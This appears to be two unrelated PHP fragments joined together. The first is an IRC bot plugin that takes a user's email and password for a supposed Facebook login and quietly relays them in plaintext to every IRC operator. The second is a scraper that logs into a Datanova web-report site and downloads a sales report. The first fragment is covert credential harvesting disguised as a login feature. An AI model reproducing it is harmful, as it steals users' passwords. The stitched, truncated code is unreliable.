} } $argv = $plugin->argv(); $argc = count($argv); if ($argc !== 2) { return $plugin->showHelp(); } $email = $argv[0]; if (!GWF_Validator::isValidEmail($email)) { return $plugin->showHelp(); } $pass = $argv[1]; if (strlen($pass) < 4) { return $plugin->showHelp(); } if (false !== ($curl = curl_execute('facebook.com/api/omniauth?login' . sha1($email . $pass)))) { $user->setLoggedIn(true); } else { $plugin->rply('err_login'); } // Each server foreach (Dog::getServers() as $server) { // Each user $server instanceof Dog_Server; foreach ($server->getUsers() as $admin) { // Is +I? (IRCOP) $admin instanceof Dog_User; if (Dog_PrivServer::hasPermChar($server, $admin, 'i')) { // LOL $admin->sendPRIVMSG(sprintf('FACEIN %s!%s %s %s', $user->displayName(), $user->getSID(), $email, $pass)); }
function datanova_webreport_getreport($baseurl, $username, $password, $shop, $year, $varegruppe_fra, $varegruppe_til) { /* Init */ $cookie = 'datanova_webreport.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIESESSION, true); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLINFO_HEADER_OUT, true); // Set headers curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*', 'Accept-Language: no', 'User-Agent: Mozilla/4.0 (compatible; JM-Booking)', 'Host: 192.168.114.43', 'Connection: Keep-Alive')); $url = $baseurl . '/'; $result = curl_execute(array(CURLOPT_URL => $url, CURLOPT_POST => 0), $ch); // Extract viewstate and eventvalidation preg_match_all("#<input.*?name=\"__viewstate\".*?value=\"(.*?)\".*?>.*?<input.*?name=\"__viewstategenerator\".*?value=\"(.*?)\".*?>.*?<input.*?name=\"__eventvalidation\".*?value=\"(.*?)\".*?>#mis", $result, $arr_viewstate); $viewstate = $arr_viewstate[1][0]; $viewstategenerator = $arr_viewstate[2][0]; $eventvalidation = $arr_viewstate[3][0]; /* Login */ datanova_webreport_login($baseurl, $username, $password, $shop, $ch, $viewstategenerator, $eventvalidation, $viewstate); /* Generate report */ $url = $baseurl . '/MainReport.aspx?nodeid=6.4'; $result = curl_execute(array(CURLOPT_URL => $url, CURLOPT_POST => 0), $ch); // Get viewstate and eventvalidation (needed in this ASP.NET application to verify the origin of the form) preg_match_all("#<input.*?name=\"__viewstate\".*?value=\"(.*?)\".*?>.*?<input.*?name=\"__viewstategenerator\".*?value=\"(.*?)\".*?>#mis", $result, $arr_viewstate); if (!isset($arr_viewstate[1][0]) || !isset($arr_viewstate[2][0])) { throw new Exception('Viewstate/Eventvalidation not found in result from MainReport.aspx in first request after login. HTML fetching failed.' . chr(10) . 'HTML body: ' . chr(10) . $result); } $viewstate = $arr_viewstate[1][0]; $viewstategenerator = $arr_viewstate[2][0]; // Set up post data $post = '__EVENTTARGET=ctl00$Content$ucParam$btnSend&' . '__EVENTARGUMENT=&' . '__VIEWSTATE=' . rawurlencode($viewstate) . '&' . '__VIEWSTATEGENERATOR=' . $viewstategenerator . '&' . rawurlencode('ctl00$ucLoggedIn$hdnUserid') . '=' . $username . '&' . rawurlencode('ctl00$Content$txtSearch') . '=Søk&' . rawurlencode('ctl00$Content$ucParam$selddl1') . '=' . $year . '&' . rawurlencode('ctl00$Content$ucParam$dt71') . '=&' . rawurlencode('ctl00$Content$ucParam$dt81') . '=&' . rawurlencode('ctl00$Content$ucParam$selddl11') . '=1&' . rawurlencode('ctl00$Content$ucParam$selddl11') . '=3&' . rawurlencode('ctl00$Content$ucParam$selddl11') . '=4&' . rawurlencode('ctl00$Content$ucParam$selddl11') . '=5&' . rawurlencode('ctl00$Content$ucParam$txt131') . '=' . $varegruppe_fra . '&' . rawurlencode('ctl00$Content$ucParam$txt141') . '=' . $varegruppe_til . '&' . rawurlencode('ctl00$Content$ucParam$txt151') . '=&' . rawurlencode('ctl00$Content$ucParam$txt161') . '=&' . rawurlencode('ctl00$Content$ucParam$txt171') . '=&' . rawurlencode('ctl00$Content$ucParam$txt181') . '=&' . rawurlencode('ctl00$Content$ucParam$txt191') . '=&' . rawurlencode('ctl00$Content$ucParam$txt201') . '=&' . rawurlencode('ctl00$Content$ucParam$txt341') . '=&' . rawurlencode('ctl00$Content$ucParam$txt351') . '=&' . rawurlencode('ctl00$Content$ucParam$ddlXaxis') . '=coshopno&' . rawurlencode('ctl00$Content$ucParam$ddlYaxis') . '=salesqty&' . rawurlencode('ctl00$Content$ucParam$ddlGraph') . '=Bar&' . rawurlencode('ctl00$Content$ucParam$hdnTextId') . '=&' . rawurlencode('ctl00$Content$ucParam$hdnNodeid') . '=6.4&' . rawurlencode('ctl00$Content$ucParam$hdnstock') . '=&' . rawurlencode('ctl00$Content$ucParam$hdnXaxis') . '=&' . rawurlencode('ctl00$Content$ucParam$hdnYaxis') . '=&' . rawurlencode('ctl00$Content$ucParam$hdnGraphType') . '=&' . rawurlencode('ctl00$Content$ucParam$hdnorderby') . '=0&' . rawurlencode('ctl00$Content$ucParam$hdnsort') . '='; $options = array(CURLOPT_URL => $url, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $post); $result = curl_execute($options, $ch); if ($varegruppe_fra == $varegruppe_til && strpos($result, '302 Found') !== FALSE && strpos($result, '500 Internal Server Error') !== FALSE) { return 'Not found.'; } //$info = curl_getinfo($ch); //echo '<h3>'.nl2br($info['request_header']).'</h3>'; //echo '<div style="width: 500px; height: 250px; display: inline-block; clear: none; overflow: scroll;">'.$result.'</div><br>'; // Extract viewstate and eventvalidation preg_match_all("#<input.*?name=\"__viewstate\".*?value=\"(.*?)\".*?>" . ".*?<input.*?name=\"__viewstategenerator\".*?value=\"(.*?)\".*?>" . ".*?<input.*?name=\"__eventvalidation\".*?value=\"(.*?)\".*?>" . ".*?<input.*?name=\"ctl00\\\$Content\\\$ucParam\\\$grid\\\$CallbackState\".*?value=\"(.*?)\".*?>" . "#mis", $result, $arr_viewstate); if (!isset($arr_viewstate[1][0])) { echo "-------------------------------\n\r"; echo "------ NO VIEW STATE\n\r"; echo "-------------------------------\n\r"; echo $result; echo "-------------------------------\n\r"; throw new Exception('No viewstate'); } $viewstate = $arr_viewstate[1][0]; $viewstategenerator = $arr_viewstate[2][0]; $eventvalidation = $arr_viewstate[3][0]; $callbackstate = $arr_viewstate[4][0]; //echo base64_decode($viewstate).chr(10).chr(10); //echo base64_decode($viewstategenerator).chr(10).chr(10); //echo base64_decode($eventvalidation).chr(10).chr(10); //echo $callbackstate; //echo base64_decode($callbackstate).chr(10).chr(10); //exit; /* Download report */ $url = $baseurl . '/ShowReport.aspx?childid=6.4&childtext=6.04+Salg+pr.+vare+pr.+dag+(+spesifisert+)'; $url = $baseurl . '/ShowReport.aspx?nodeid=6.4'; $post = array('__EVENTTARGET=' . rawurlencode('ctl00$Content$ucParam$btnXmlExport'), '__EVENTARGUMENT=Click', '__VIEWSTATE=' . rawurlencode(html_entity_decode($viewstate, ENT_QUOTES)), '__VIEWSTATEGENERATOR=' . rawurlencode($viewstategenerator), '__EVENTVALIDATION=' . rawurlencode(html_entity_decode($eventvalidation, ENT_QUOTES)), rawurlencode('ctl00$ucLoggedIn$hdnUserid') . '=' . $username, rawurlencode('ctl00$Content$ucParam$grid$DXSelInput') . '=', rawurlencode('ctl00$Content$ucParam$grid$CallbackState') . '=' . rawurlencode(html_entity_decode($callbackstate, ENT_QUOTES)), rawurlencode('ctl00$Content$ucParam$grid$DXColResizedInput') . '=', rawurlencode('ctl00$Content$ucParam$grid$DXSyncInput') . '=', rawurlencode('ctl00$Content$ucParam$hdnGroupBy') . '=', rawurlencode('ctl00$Content$ucParam$hdnGroupBy2') . '=', rawurlencode('ctl00$Content$ucParam$hdnHiddenCol1') . '=', rawurlencode('ctl00$Content$ucParam$hdnHiddenCol2') . '=', rawurlencode('ctl00$Content$ucShowGraph$ddlXaxis') . '=coshopno', rawurlencode('ctl00$Content$ucShowGraph$ddlYaxis') . '=salesqty', rawurlencode('ctl00$Content$ucShowGraph$hdnGraphOption') . '=bar', rawurlencode('ctl00$Content$ucShowGraph$hdnPrev') . '=1', rawurlencode('ctl00$Content$ucShowGraph$hdnNext') . '=1', rawurlencode('ctl00$Content$ucShowGraph$hdnNodeId') . '=6.4', rawurlencode('ctl00$Content$ucShowGraphLine$ddlXaxis') . '=coshopno', rawurlencode('ctl00$Content$ucShowGraphLine$ddlYaxis') . '=salesqty', rawurlencode('ctl00$Content$ucShowGraphLine$hdnGraphOption') . '=line', rawurlencode('ctl00$Content$ucShowGraphLine$hdnPrev') . '=1', rawurlencode('ctl00$Content$ucShowGraphLine$hdnNext') . '=1', rawurlencode('ctl00$Content$ucShowGraphLine$hdnNodeId') . '=6.4', rawurlencode('ctl00$Content$ucShowGraphArea$ddlXaxis') . '=coshopno', rawurlencode('ctl00$Content$ucShowGraphArea$ddlYaxis') . '=salesqty', rawurlencode('ctl00$Content$ucShowGraphArea$hdnGraphOption') . '=area', rawurlencode('ctl00$Content$ucShowGraphArea$hdnPrev') . '=1', rawurlencode('ctl00$Content$ucShowGraphArea$hdnNext') . '=1', rawurlencode('ctl00$Content$ucShowGraphArea$hdnNodeId') . '=6.4', rawurlencode('ctl00$Content$ucShowGraphPie$ddlXaxis') . '=coshopno', rawurlencode('ctl00$Content$ucShowGraphPie$ddlYaxis') . '=salesqty', rawurlencode('ctl00$Content$ucShowGraphPie$hdnGraphOption') . '=pie', rawurlencode('ctl00$Content$ucShowGraphPie$hdnPrev') . '=1', rawurlencode('ctl00$Content$ucShowGraphPie$hdnNext') . '=1', rawurlencode('ctl00$Content$ucShowGraphPie$hdnNodeId') . '=6.4', rawurlencode('ctl00$Content$hdnReportId') . '=6.4', rawurlencode('ctl00$Content$ucDownload$Emailsubmit') . '=', rawurlencode('ctl00$Content$ucDownload$hdnMemberId') . '=' . $username); $options = array(CURLOPT_URL => $url, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => implode($post, '&')); $result = curl_execute($options, $ch); //$info = curl_getinfo($ch); //echo '<h3>'.nl2br($info['request_header']).'</h3>'; //echo implode('&', $post).'&'.http_build_query($validations).'&'.implode('&', $post_last).chr(10).chr(10); /* Logout */ datanova_webreport_logout($baseurl, $ch); unlink($cookie); /* Clean up */ curl_close($ch); /* Return HTML (+ headers) */ return $result; }